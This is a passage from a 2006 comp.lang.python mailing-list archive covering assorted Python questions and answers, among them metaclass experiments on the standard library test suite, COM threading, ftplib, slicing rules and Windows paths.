<1161790093.505846.315040@b28g2000cwb.googlegroups.com> References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com> Message-ID: sturlamolden wrote: > On Windows, the standard Python 2.4 distro is compiled with Microsoft > Visual C++ 2003 and is shipped with msvcr71.dll as a part of the binary > installer. That is ok, as those who has a license for Microsoft Visual > C++ 2003 is allowed to redistribute msvcr71.dll. Without a license for > Microsoft Visual C++ 2003 one it not allowed to redistribute this DLL. that's a myth, based on a flawed reading of the MS license. to repeat myself from various other fora: "As long as you're using a standard Python build, you don't need to buy VC7 to [legally redistribute the C runtime]. The python.org team use a properly licensed VC7 to build Python, which turns Python into "licensee software" and you into a "distributor" doing "further distribution" of Python to end users (with your own stuff added on top, of course). And further distribution is perfectly okay, as long as you only ship the MS components together with proper "licensee software" (=Python), and that all parties respect the relevant portions of the original EULA (this basically means that you cannot use tricks to circumvent the MS EULA, e.g. by attempting to relicense the MS DLL's under less restrictive licenses or "viral" licenses. The same applies to all other licensed components, of course. You cannot relicense the Python core either.)." "(If in doubt, consult a real lawyer. If you do, make sure that he/she understands the various levels here -- i.e. that "you" in the MS EULA applies to the Python developers, not yourself)." From timr at probo.com Thu Oct 26 02:30:50 2006 From: timr at probo.com (Tim Roberts) Date: Thu, 26 Oct 2006 06:30:50 GMT Subject: The format of filename References: Message-ID: Neil Cerutti wrote: > >Some experimentation shows that Python does seem to provide >*some* translation. Windows lets me use '/' as a path separator, >but not as the name of the root of a partition name. But perhaps >this a peculiarity of the commands themselves, and not of Windows >path names in particular. > > C:\PYTHON24>CD / > The syntax of the command is incorrect. > > C:\PYTHON24>CD \ > C:\>EDIT /PYTHON24/README > The syntax of the command is incorrect. The Windows APIs all accept either forward slashes or back, and have done so clear back to Windows 3.0. However, the Windows command shells do not. That's what you're seeing here. -- Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From __peter__ at web.de Thu Oct 12 13:23:34 2006 From: __peter__ at web.de (Peter Otten) Date: Thu, 12 Oct 2006 19:23:34 +0200 Subject: prefix search on a large file References: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> Message-ID: js wrote: > By eliminating list cloning, my function got much faster than before. > I really appreciate you, John. > > def prefixdel_recursively2(alist): > if len(alist) < 2: > return alist > > first = alist.pop(0) > unneeded = [no for no, line in enumerate(alist) if > line.startswith(first)] adjust=0 > for i in unneeded: > del alist[i+adjust] > adjust -= 1 > > return [first] + prefixdel_recursively(alist) > > > process stime > prefixdel_stupidly : 11.9247150421 > prefixdel_recursively : 14.6975700855 > prefixdel_recursively2 : 0.408113956451 > prefixdel_by_john : 7.60227012634 Those are suspicious results. Time it again with number=1, or a fresh copy of the data for every iteration. I also have my doubts whether sorting by length is a good idea. To take it to the extreme: what if your data file contains an empty line? Peter From daniel.huangfei at gmail.com Fri Oct 20 00:26:07 2006 From: daniel.huangfei at gmail.com (daniel) Date: 19 Oct 2006 21:26:07 -0700 Subject: is it possible to send raw data through ftp? Message-ID: <1161318367.007363.191360@b28g2000cwb.googlegroups.com> well, I'm trying to use ftplib to upload data that received from socket, and the application is required to restart the transfer at a specific interval so as to generate a different target file on the server to store subsequent data. the problem is 'storbinary' accepts only file-like object, I have to use socketobj.makefile() to do that, how can I stop and resume that transfer then? the abort() generates lots of wierd and unexpected behavior, I guess if there is a way to upload raw data buffer, the restart action should be implemented more easily. thanks. daniel From pierre at saiph.com Tue Oct 3 23:27:58 2006 From: pierre at saiph.com (Pierre Imbaud) Date: Tue, 03 Oct 2006 23:27:58 -0400 Subject: python html rendering In-Reply-To: <463ff4860610031652n637728e6l499e1491128eaf56@mail.gmail.com> References: <463ff4860610031652n637728e6l499e1491128eaf56@mail.gmail.com> Message-ID: hanumizzle wrote: > On 10/3/06, Colin J. Williams wrote: > > >>Another approach is to use PyScripter (an editor and IDE). One can >>generate documentation and then save the generated html doc. >> >>Also PyDoc can be used directly. > > > And if you want to go the traditional way, Emacs and Vim can both be > used to produce colored HTML IIRC. Not sure about Vim (something like > 2html.vim I believe), but Emacs has htmlize.el. htmlize.el works fine, but I was looking for an automated process! not that easy to call xemacs from cgi code! Thanks anyway, nice tool, might help > > If someone already said this, pardon me; I just joined via python-list. From michele.simionato at gmail.com Thu Oct 19 03:39:57 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 19 Oct 2006 00:39:57 -0700 Subject: creating many similar properties In-Reply-To: <1161205217.207005.22720@i42g2000cwa.googlegroups.com> References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> <1161160057.392965.323330@m73g2000cwd.googlegroups.com> <1161160436.888246.21020@m73g2000cwd.googlegroups.com> <1161161181.169918.126210@b28g2000cwb.googlegroups.com> <1161163087.751082.225880@b28g2000cwb.googlegroups.com> <1161205217.207005.22720@i42g2000cwa.googlegroups.com> Message-ID: <1161243597.310349.110370@i3g2000cwc.googlegroups.com> Carl Banks wrote: > You sound as if you're avoiding metaclasses just for the sake of > avoiding them, which is just as bad as using them for the sake of using > them. Do you realize that you are effectively saying "avoiding a complex tool in favor of a simpler one is just as bad as avoing the simple tool in favor of the complex one" ? > Here's how I see it: either it's ok to fiddle with the class dict, or > it isn't. If it's ok, then a metaclass is the way to do it. If it's > not ok to fiddle with the class dict, then he should be using > __setattr__, or creating properties longhand. Messing with frames is > not the answer for production code. I agree that messing with frames is not nice (however I should notice that this is how Zope interfaces are implemented, and they have been in production use for years) but I disagree with your point about the class dict. You should use a custom metaclass *only if you want to mess with the class dict of all subclasses at each derivation*: this is rarely the case, and definitely was not requested for the OP problem. > > Just for the hell of it, I decided to accept your challenge to run the > standard library with a different metaclass applied to all new-style > classes. I ran the 2.4.3 regression test, replacing the builtin object > with a class that used the mod256metaclass I presented in this thread. > The results: > > 229 tests OK. > 34 tests failed: > test___all__ test_asynchat test_cgi test_cookielib test_copy > test_copy_reg test_cpickle test_decimal test_descr test_descrtut > test_email test_email_codecs test_httplib test_imaplib > test_inspect test_logging test_mailbox test_mimetools > test_mimetypes test_minidom test_pickle test_pyclbr > test_robotparser test_sax test_sets test_socket test_socket_ssl > test_sundry test_timeout test_urllib test_urllib2 test_urllib2net > test_urllibnet test_xpickle 34 tests failed, worse than I expected. > Not A-OK, but not exactly mass-pandemonium either. There were plenty > of modules used the the new base object and worked fine. > > There were only two causes for failure: > 1. A class attempting to use __weakref__ slot. > 2. There were also a few metaclass conflicts. Yes, this agree with my findings. I was curious to know if there were additional issues. > IMO, neither of these failure modes argues against using a metaclass to > preprocess the class dict. But they argue against using metaclasses in general, IMO! (or at least, against using them for users that are not aware of all the potential pittfalls). > The __weakref__ error is not applicable; > since it's an error to use it on any class with an instance dict. (In > fact, the metaclass wasn't even causing the error: the same error would > have occurred if I had replaced builtin object with an empty subclass > of itself, without the metaclass.) Correct, this more of a problems of __slots__ that play havoc with inheritance than a problem of metaclasses. > The metaclass conflict would only occur in the present case only if > someone wanted to subclass it AND specify a different metaclass. > Arguing that metaclasses should be avoided just to guard against this > rare possibility is defensive to the extreme. Not too extreme in my opinion. Real life example: I had a debugging tool using a custom metaclass, I tried to run it on Zope 2.7 classes and I have got segmentation faults. In Zope 2.8 I get "only" metatype conflicts, and to avoid that I had to rewrite the tool :-( > I did not uncover any kinds of subtle, unexpected behavior that can > occur when metaclasses do weird things. I know such things are > possible; how likely they are is another question. The tests I ran > didn't uncover any. So for now, the results of these tests don't seem > to support your point very well. Well, this is a matter of opinion. In my opinion your tests support my point pretty well, better than I expected ;) > > Appendix: Here's how I ran the test. I inserted the following code at > the top of Lib/test/regrtest.py, and > ran make test. I ran the tests on the Python 2.4.3 source tree, in > Linux. > > ======================= > import sys > > class mod256metatype(type): > def __new__(metatype,name,bases,clsdict): > print >> sys.__stdout__, \ > "++++++++ Creating class %s of type mod256metatype" % > name > def makeprop(sym): > prop = '_%s' % sym > def _set(self,v): > setattr(self,prop,v%256) > def _get(self): > return getattr(self,prop) > return property(_get,_set) > for sym in clsdict.get('__mod256__',()): > clsdict[sym] = makeprop(sym) > return super(metatype > return type.__new__(metatype,name,bases,clsdict) > > class _object: > __metaclass__ = mod256metatype > > import __builtin__ > __builtin__.object = _object > ======================= I used a similar approach. I added in sitecustomize.py the following lines: import __builtin__ class chatty_creation(type): "Print a message every time a class is created" def __new__(mcl, name, bases, dic): try: cls = super(chatty_creation, mcl).__new__(mcl, name, bases, dic) except Exception, e: print e print 'Could not enhance class %s' % name cls = type(name, tuple(b for b in bases if b is not Object), dic) # removing Object from the bases is enough only in the trivial # cases :-( else: print 'Creating class %s.%s' % (dic.get('__module__'), name) return cls class Object: __metaclass__ = chatty_creation __builtin__.object = Object Now it is impossible to run both Zope and Twisted due to metatype conflicts. I haven't looked in detail, but the first conflict in Twisted is due to a metaclass-enhanced class which is setting properties. This is the typical example of what I call metaclass *abuse* in my paper, since the custom metaclass could have been avoided (for instance using George Sakkis trick) and the conflict could have been avoided. Now, I know how to solve the conflict (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/204197) but I would rather avoid it altogether. The problem with metaclasses is that you are adding magic to the classes of your USERS, and the users are known to play any kind of dirty tricks. You (speaking in general of you as the author of a framework) should strive to keep things clean as much as possible. I agree that the problems are rare: but just for this reason they are prone to very subtle bugs, the hardest to find. And there is no documentation of metaclass pittfall AFAIK :-( Michele Simionato From bignose+hates-spam at benfinney.id.au Thu Oct 26 22:48:45 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 12:48:45 +1000 Subject: Tracing the execution of scripts? References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> <20061027023353.20948.138215951.divmod.quotient.1674@ohm> Message-ID: <87odryeanm.fsf@benfinney.id.au> Jean-Paul Calderone writes: > 1) Write unit tests for your code. Keep writing unit tests until > you have some that _don't pass_. Then fix your code so that they > do. When you do further development, write the tests first, then > implement the code that makes them pass. Hear hear. Be advised, though, that attempting to apply unit tests to code that wasn't designed with testing in mind may very quickly reveal a poor design. [0] If you can't easily test pieces of the code independently, you probably haven't written those pieces to be loosely coupled and well-defined. The moral? Writing unit tests *along with* the functional code will result in a design that is loosely coupled, and probably better-defined. Also, hopefully, easy to test :-) [0] I have no idea whether this is the case for the OP. It's a very common symptom that arises from people who are first advised to introduce tests to their code, though. -- \ "If you ever catch on fire, try to avoid seeing yourself in the | `\ mirror, because I bet that's what REALLY throws you into a | _o__) panic." -- Jack Handey | Ben Finney From python.sam at googlemail.com Sun Oct 1 19:15:03 2006 From: python.sam at googlemail.com (sam) Date: 1 Oct 2006 16:15:03 -0700 Subject: how to reuse class deinitions? In-Reply-To: <45203df3$1@nntp0.pdx.net> References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> <45203df3$1@nntp0.pdx.net> Message-ID: <1159744503.291393.132260@e3g2000cwe.googlegroups.com> > What I do: > > For each new major version of python, in .../site-packages I make a > directory "sdd" (my initials). In it I put an empty file named > "__init__.py". When I have things I want to reuse, I put them in > files named things like ".../site-packages/sdd/goodidea.py", and > I get use of them in python programs like: > > from sdd.goodidea import File > ... > > ... > > or (actually my current style): > from sdd import goodidea > ... > > ... > this is basically what i was trying to do. i just tried it again, with a class_defs.py file in a folder i appended to the system path, itself containing the class definition for File. then: from class_defs import File works fine. nice to know i was on the right lines. thanks for the pointer! From hanumizzle at gmail.com Fri Oct 6 02:29:52 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 02:29:52 -0400 Subject: profiling memory usage In-Reply-To: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> References: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> Message-ID: <463ff4860610052329g4f238d16ha19ff46cf2b9ba72@mail.gmail.com> On 5 Oct 2006 16:21:50 -0700, Eddie wrote: > Hi, > > I am looking for a method to profile memory usage in my python program. > The program provides web service and therefore is intended to run for a > long time. However, the memory usage tends to increase all the time, > until in a day or two the system cannot handle it any more and starts > to do constant swapping. Is there a way to look at which objects or > variables are taking the huge amount of memory space? Have a look at: http://www.velocityreviews.com/forums/t353289-memory-profiler.html -- Remember that time Thotsakan punched Neil Bush in the dick? From horpner at yahoo.com Sun Oct 22 09:04:01 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Sun, 22 Oct 2006 13:04:01 GMT Subject: Tkinter--does anyone use it for sophisticated GUI development? References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> <1161447186.938144.35810@f16g2000cwb.googlegroups.com> <1161512938.035392.32670@m7g2000cwm.googlegroups.com> Message-ID: <5%J_g.7647$5i7.4703@newsreading01.news.tds.net> On 2006-10-22, Wektor wrote: > I ment in the GUI context , a widget-based api where you can put > buttons, labels etc. on a form. > Not an advanced 3D stuff which is useless for such application. > Something like : > and sdl based > http://www.paragui.org/ > > but none have Python support (or again maybe im wrong) PyGame for SDL, I think. -- Neil Cerutti From ptmcg at austin.rr._bogus_.com Fri Oct 27 09:38:36 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 27 Oct 2006 13:38:36 GMT Subject: Slurping All Content of a File into a Variable References: <1161948531.098283.162950@b28g2000cwb.googlegroups.com> Message-ID: wrote in message news:1161948531.098283.162950 at b28g2000cwb.googlegroups.com... > myfile_content is an object and you have only opened the file. Python > doesn't yet know whether you want to read it, copy it etc. > > to read it try > > text = myfile_content.readlines() > print text > > this should be in most tutorials > readlines() will give you the file content as a list of newline-terminated strings. If you just want the whole file in one big string do: text = myfile_content.read() And, yes, you should wade through some of the tutorials, this is basic material. -- Paul From MonkeeSage at gmail.com Sun Oct 1 18:52:33 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 1 Oct 2006 15:52:33 -0700 Subject: The Python world tries to be polite [formerly offensive to another language] References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com> <1159555450.721085.51710@h48g2000cwc.googlegroups.com> <1159601820.592847.42160@i3g2000cwc.googlegroups.com> <_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net> <1159730965.869927.322910@h48g2000cwc.googlegroups.com> Message-ID: <1159743153.283713.40940@h48g2000cwc.googlegroups.com> Ant wrote: > Don't think so, I followed the thread along a little, and it seems to > be correct. In addition, they seem to have the ? character as the Perl > 6 equivalent of zip(). Those crazy guys. Yup, I don't think it was a joke either; there are several other "hyper" operators already in pugs: http://svn.openfoundry.org/pugs/src/Pugs/Parser/Operator.hs (see tests: http://svn.openfoundry.org/pugs/t/operators/hyper.t ). Regards, Jordan From fredrik at pythonware.com Fri Oct 20 05:09:11 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 11:09:11 +0200 Subject: Unicode support in python References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> Message-ID: > http://www.google.com/search?q=python+unicode (and before anyone starts screaming about how they hate RTFM replies, look at the search result) From g.brandl-nospam at gmx.net Thu Oct 5 04:27:14 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Thu, 05 Oct 2006 10:27:14 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <1160004324.651743.280590@b28g2000cwb.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160004324.651743.280590@b28g2000cwb.googlegroups.com> Message-ID: Ilias Lazaridis wrote: > Giovanni Bajo wrote: >> Hello, >> >> I just read this mail by Brett Cannon: >> http://mail.python.org/pipermail/python-dev/2006-October/069139.html >> where the "PSF infrastracture committee", after weeks of evaluation, recommends >> using a non open source tracker (called JIRA - never heard before of course) >> for Python itself. >> >> Does this smell "Bitkeeper fiasco" to anyone else than me? >> -- >> Giovanni Bajo > > Fascinating. > > The python foundation suggests a non-python non-open-source bugtracking > tool for python. Actually, it suggests two bugtracking tools, one of them written in Python. > It's like saying: "The python community is not able to produce the > tools needed to drive development of python forward." No, it's saying: "if the Python community is able to provide the required amount of time to do the admin work, we'll use the tool written in Python." > Anyway. The whole selection process is intransparent. Steve has already pointed you to the wiki page. Georg From tejovathi.p at gmail.com Fri Oct 13 01:55:35 2006 From: tejovathi.p at gmail.com (Teja) Date: 12 Oct 2006 22:55:35 -0700 Subject: COM and Threads In-Reply-To: <1160718073_1665@sp6iad.superfeed.net> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160712022_1597@sp6iad.superfeed.net> <1160713687.665650.221900@b28g2000cwb.googlegroups.com> <1160718073_1665@sp6iad.superfeed.net> Message-ID: <1160718935.372511.303470@m73g2000cwd.googlegroups.com> Roger Upole wrote: > "Teja" wrote: > > > > Roger Upole wrote: > > > >> "Teja" wrote: > >> >I have an application which uses COM 's Dispatch to create a COM based > >> > object. Now I need to upgrade the application to a threaded one. But > >> > its giving an error that COM and threads wont go together. Specifically > >> > its an attribute error at the point where COM object is invoked. Any > >> > pointers please?????? > >> > > >> > >> An actual traceback would help. > >> At a guess, when using COM in a thread > >> you need to call pythoncom.CoInitialize and > >> CoUninitialize yourself. > >> > >> Roger > > > > Actually Roger, this is the scenario.... > > > > I create a COM object at the beginnning of the main thread. In the sub > > thread, I need to access the same instance of the COM object. If it > > were a normal object ie. not a COM obj, i was able to do it. But if it > > were a COM object, its giving an attribute error? Should I pass a COM > > object to the thread. If so How? Please let me know ASAP... Thnks > > > > To pass COM objects between threads, usually they'll need to be marshaled > using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled > with pythoncom.CoGetInterfaceAndReleaseStream. > > Roger I really appreciate your quick reply....Can u please let me know how to do marshalling and unmarshalling or any good refrences to do it. Because i tried to do it. I got some errors ans so I left it... Thnks again... From shawn at milochik.com Tue Oct 24 12:37:03 2006 From: shawn at milochik.com (shawn at milochik.com) Date: Tue, 24 Oct 2006 10:37:03 -0600 Subject: python GUIs comparison (want) In-Reply-To: References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: <13681.67.132.206.254.1161707823.squirrel@mail.milochik.com> Ron Stevens of the Python411 podcast(1) has some good info on these. He did an entire podcast(2) comparing different Python GUI tools, and did several others in greater detail, including specifically on wyPython and Tkinter. You can also subscribe to the RSS feed(3). The main page has titles for all of the podcasts and direct links to the mp3s. Shawn 1. http://www.awaretek.com/python/ 2. http://libsyn.com/media/awaretek/Python411_070509_GUItoolkits.mp3 3. http://www.awaretek.com/python/index.xml From mail at microcorp.co.za Mon Oct 9 00:35:52 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Mon, 9 Oct 2006 06:35:52 +0200 Subject: dictionary containing a list References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> <1160172055.962140.180110@b28g2000cwb.googlegroups.com> Message-ID: <018401c6eb67$33567220$03000080@hendrik> "Fredrik Lundh" wrote: > Steve Holden wrote: > > > One of the fascinating things about c.l.py is that sometimes a questin > > will be posted that makes almost no sense to me, and somebody else will > > casually read the OP's mind, home in on the issue and provide a useful > > and relevant answer. > > if the assertions made by some about the documentation's unsuit- > ability for some are in fact true, that's probably some kind of > natural selection in action. > > LOL - Whining about documentation is what programmers do - its driven by the "fact" that the docs and the implementation are "never" in sync, except on something that is either trivial, or as old as the hills... And it does not matter if the software is free and open source, or bought at great expense - there are always these differences - sometimes niggly, and often major - it sometimes looks as if the docs were a statement of intent, with the implementation taking a left turn at the first crossroads. - Hendrik - Hendrik From fredrik at pythonware.com Fri Oct 13 02:50:44 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 08:50:44 +0200 Subject: Standard Forth versus Python: a case study In-Reply-To: <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <7xfydtojhe.fsf@ruckus.brouhaha.com> <7x4pu9bw3z.fsf@ruckus.brouhaha.com> <1160685854.118420.133080@e3g2000cwe.googlegroups.com> <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar> Message-ID: Gabriel Genellina wrote: > At Thursday 12/10/2006 17:44, idknow at gmail.com wrote: > >> > > > fun median { >> > > > var x = 0. >> > > > while( *p++) { >> > > > if( (*p) > x) x = *p. >> > > > } >> > > > return x. >> > > > } >> >> clearly, i've forgotten the definition of the median of a list. >> to that i plead faulty memory. > > That explains all. Finding the median in an efficient way (that is, > without sorting the data first) isn't trivial, so your claim of "I can > do that using only one temp variable" was a bit surprising... > BTW, the median is the value which sits just in the middle of the list > when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3 note that both his proposals does indeed find the median if given a list of zeros, though. maybe they just used lousy sample data in that stat class he took? From fredrik at pythonware.com Fri Oct 6 06:16:24 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 12:16:24 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> <463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com> Message-ID: hanumizzle wrote: > Not sure exactly what is going on / being argued about in this > thread I'm describing best practices based on long experience of using and developing and teaching and writing about Python stuff. Others have other priorities, it seems. > This doesn't say anything positive or negative about the practice in > question The tutorial tends to describe mechanisms, not best practices, and it also assumes prior programming experience. After all, basic stuff like "minimize coupling" and "don't depend on implementation artifacts" apply to all software engineering, not just Python. From ptmcg at austin.rr._bogus_.com Thu Oct 5 17:35:43 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 05 Oct 2006 21:35:43 GMT Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> Message-ID: "Ilias Lazaridis" wrote in message news:1160082179.215729.164060 at c28g2000cwb.googlegroups.com... > > . > -- http://lazaridis.com WHAT IS THIS CRAP DOING ON THIS NEWSGROUP???!!! IT IS UNWANTED AND UNWELCOME!!! If you want to make some sort of public notice of your aggrievement with Assembla, Breakout, Mr. Singleton, whatever, take out an ad in the newspaper! No one here is interested in your soap opera. -- Paul McGuire From obrandts at gmail.com Mon Oct 2 07:32:39 2006 From: obrandts at gmail.com (Oeyvind Brandtsegg) Date: Mon, 2 Oct 2006 13:32:39 +0200 Subject: Python threads and Numeric/SciPy exploit Dual Core ? In-Reply-To: References: Message-ID: I've been trying to make my music app use dual core, and would very much like some more detailed information on this. Excuse my lack of knowledge, but how do I explicitly release the GIL ? I haven't learned this, but have found through experimentation that I can release a thread by using time.sleep(0) inside a thread's "run while true" loop. This seems to create an interrupt, and give other threads a chance to do their thing. If this is terribly wrong (it works, but I dont' know how stable it is), please do point me in the direction of a proper way to implement it. As stated in an earlier post, my threads do not work on shared data, so I have not implemented any sort of lock or mutex. best Oeyvind On 10/2/06, Fredrik Lundh wrote: > "robert" wrote: > > > Simple Python code obviously cannot use the dual core by Python threads. > > Yet, a program drawing CPU mainly for matrix computations - preferably > > with Numeric/SciPy - will this profit from a dual core when using 2 (or > > more) Python threads? > > as long as the binding releases the GIL, sure. > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list > From duncan.booth at invalid.invalid Mon Oct 9 13:55:56 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 9 Oct 2006 17:55:56 GMT Subject: file system iteration References: Message-ID: rick wrote: > Georg Brandl wrote: > >> Which application needs to walk over ALL files? Normally, you just >> have a starting path and walk over everything under it. > > Searching for a file by name. Scanning for viruses. Etc. There are > lots of legitimate reason to walk all paths from a central starting > point, no??? Personally I'd get pretty annoyed if my virus scanner started gratuitously scanning network drives and CD's. From ptmcg at austin.rr._bogus_.com Fri Oct 27 09:44:35 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 27 Oct 2006 13:44:35 GMT Subject: Insert Content of a File into a Variable References: Message-ID: <73o0h.23481$ta3.949@tornado.texas.rr.com> "Wijaya Edward" wrote in message news:mailman.1310.1161913065.11739.python-list at python.org... > > Hi, > > How can we slurp all content of a single file > into one variable? > Please don't double-post your questions. Now you have two threads running with people answering the same question. -- Paul From lm401 at cam.ac.uk Wed Oct 11 06:31:44 2006 From: lm401 at cam.ac.uk (LorcanM) Date: 11 Oct 2006 03:31:44 -0700 Subject: Can pdb be set to break on warnings? References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com> Message-ID: <1160562703.933794.138980@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > LorcanM wrote: > > > I use pdb under Linux to debug my Python code, as in: > > > > python -m pdb myprogram.py > > > > By default it does a postmortem of unhandled exceptions, is there a way > > to get it to break on warnings? > > is > > python -m pdb -Werror myprogram.py > > what you're looking for ? > > It sounds like what I want, but it doesn't work for me. When I try the above line of code, it replies: Error: -Werror does not exist I'm running Python 2.4.3 Thanks for the help, Lorcan. From steve at holdenweb.com Thu Oct 5 13:51:38 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 18:51:38 +0100 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: Fredrik Lundh wrote: > Antoon Pardon wrote: > > >>The first module I looked in to check this, it wasn't true. In the Queue >>Module is isn't explicitly written that maxsize is a keyword argument yet >>Queue.Queue(maxsize=9) works just fine. > > > it's not a matter whether it works fine in any given version of Python, > it's a matter of whether it's *guaranteed* to work. > There are some sloppy places in the docs, though, perhaps where a function has started out with positionals only and keyword arguments have been added later, or it's just plain wrong. I remember an incident a month or so ago when someone had called cgi.parse with a second positional to retain blank values - the docs for 2.4.2 say: parse( fp[, keep_blank_values[, strict_parsing]]) but the function signature in the code is def parse(fp=None, environ=os.environ, keep_blank_values=0, strict_parsing=0) IIRC he reported this as a doc bug, though probably just too late to make it into the initial 2.5 release. You can imagine his CGI scripts didn't run too well with an integer as the environment ;-) Someone with a tendency to salt every snail (that's dotting all the i's and crossing all the t's for you English-speakers out there :-) could probably do the community a service by reviewing the documented signatures and report such discrepancies. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mensanator at aol.com Tue Oct 17 02:37:28 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 16 Oct 2006 23:37:28 -0700 Subject: a question about s[i:j] when i is negative In-Reply-To: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> Message-ID: <1161067048.047048.159870@e3g2000cwe.googlegroups.com> dracula571 wrote: > s[i:j] slice of s from i to j (3), (4) > > (3) > If i or j is negative, the index is relative to the end of the string: > len(s) + i or len(s) + j is substituted. But note that -0 is still 0. > > > (4) > The slice of s from i to j is defined as the sequence of items with > index k such that i <= k < j. If i or j is greater than len(s), use > len(s). If i is omitted or None, use 0. If j is omitted or None, use > len(s). If i is greater than or equal to j, the slice is empty. > > i can't follow (3) very well. > for example:k = [1,2,3,4,5] > k[-1:2]=[] > k[-5:2]=[1,2] > but k[-6:2] = [1,2] > why k[-6:2] is [1,2]not []. Because 6 is greater then len(k), so when you ask for i=-6, you get i=-5 instead. And relative -5 is actually absolute 0 which is less than 2, so you do not get an empty slice. > i do follow (3),to make i positive by > plusing len(k) twice.But the result is not what i expect.why,or did i > misunderstand the rule of (3). See (4). From gagsl-py at yahoo.com.ar Tue Oct 3 04:59:01 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 03 Oct 2006 05:59:01 -0300 Subject: Overriding builtin getattr method In-Reply-To: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061003053556.04366c70@yahoo.com.ar> At Tuesday 3/10/2006 05:24, Raja Raman Sundararajan wrote: >Hello guys, > I have data stored in the database which has special characters >like <, > etc. >Case 1: Whenever I wanted to present the output to a browser > I need to escape these special characters into the browser >equivalent like < > etc.( for example by using the cgi module) >Case 2: Whenever I wanted to present the output to some client other >than a browser, I wanted to present the data as it is stored in the >database. > >For doing this I thought of overriding the __builtin__.__getattr__ >method. Not very reasonable on the source object itself. Escaping <&> is a *presentation* requirement and should be managed at that level. For example, in a PageTemplate, using tal:content or tal:attribute does the right escaping. >I am wondering if there is any other way of achieving this. I have >loads of files that get the attribute values of objects stored in the >database and I do not want to manually change the way of DB access in >those files. I rather prefer a centralized way to achieve this. If your data contains a '<', that's OK, it's the real contents and should remain that way. If you have to build an HTML page, escape those characters at *that* stage. If you have to write a CSV file, perhaps a '<' is irrelevant but a ',' is problematic. For some Windows text controls you have to escape '&' characters. None of these operations should make you to change your data, or the way you access your data. You invoke them at the presentation stage, depending on the final target. Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From horpner at yahoo.com Tue Oct 17 14:23:19 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 17 Oct 2006 20:23:19 +0200 Subject: Faulty encoding settings References: Message-ID: On 2006-10-17, Marc 'BlackJack' Rintsch wrote: > In , 